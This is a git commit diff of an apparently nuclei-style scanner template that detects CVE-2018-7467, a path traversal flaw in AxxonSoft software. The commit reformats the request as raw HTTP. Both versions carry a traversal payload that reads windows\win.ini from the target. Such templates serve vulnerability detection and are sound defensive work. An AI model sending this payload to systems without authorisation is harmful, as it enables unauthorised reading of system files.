Update and rename CVE-2018-7467.yaml to cves/2018/CVE-2018-7467.yaml

patch-1
Prince Chaddha 2021-12-12 16:53:17 +05:30 committed by GitHub
parent 2559fa7efa
commit 1824aef5f5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 6 deletions

View File

@ -12,19 +12,20 @@ info:
cvss-score: 7.5
cve-id: CVE-2018-7467
cwe-id: CWE-200
tags: cve,cve2018,AxxonSoft,lfi
tags: cve,cve2018,axxonsoft,lfi
requests:
- method: GET
path:
- "{{BaseURL}}//css//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\win.ini"
- raw:
- |+
GET //css//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\win.ini HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
unsafe: true
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
part: body